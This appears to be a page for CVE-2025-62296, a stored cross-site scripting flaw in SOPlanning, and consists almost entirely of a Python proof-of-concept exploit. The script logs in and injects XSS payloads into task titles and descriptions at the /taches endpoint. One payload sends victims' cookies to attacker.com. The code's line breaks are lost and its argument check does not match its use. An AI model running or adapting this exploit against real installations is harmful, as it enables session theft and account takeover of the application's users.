CVE-2025-62296 SOPlanning存储型跨站脚本漏洞

import requests import sys # CVE-2025-62296 SOPlanning Stored XSS PoC # Target: SOPlanning /taches endpoint def exploit_stored_xss(target_url, username, password): """ Exploit stored XSS in SOPlanning /taches endpoint """ session = requests.Session() # Step 1: Login to SOPlanning login_url = f"{target_url}/login.php" login_data = { 'login': username, 'password': password } try: resp = session.post(login_url, data=login_data, timeout=10) print(f"[+] Login attempt completed. Status: {resp.status_code}") # Step 2: Create task with malicious XSS payload task_url = f"{target_url}/taches" # XSS payload - can be customized based on target xss_payloads = [ '<script>alert("XSS")</script>', '<img src=x onerror=alert(document.domain)>', '<svg/onload=fetch("https://attacker.com/steal?c="+btoa(document.cookie))>' ] for payload in xss_payloads: task_data = { 'titre': 'Malicious Task ' + payload, 'description': payload, 'submit': 'Save' } resp = session.post(task_url, data=task_data, timeout=10) print(f"[+] Payload sent: {payload[:50]}...") print("[+] XSS payload injected successfully") print("[+] When victim opens the task editor, the script will execute") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)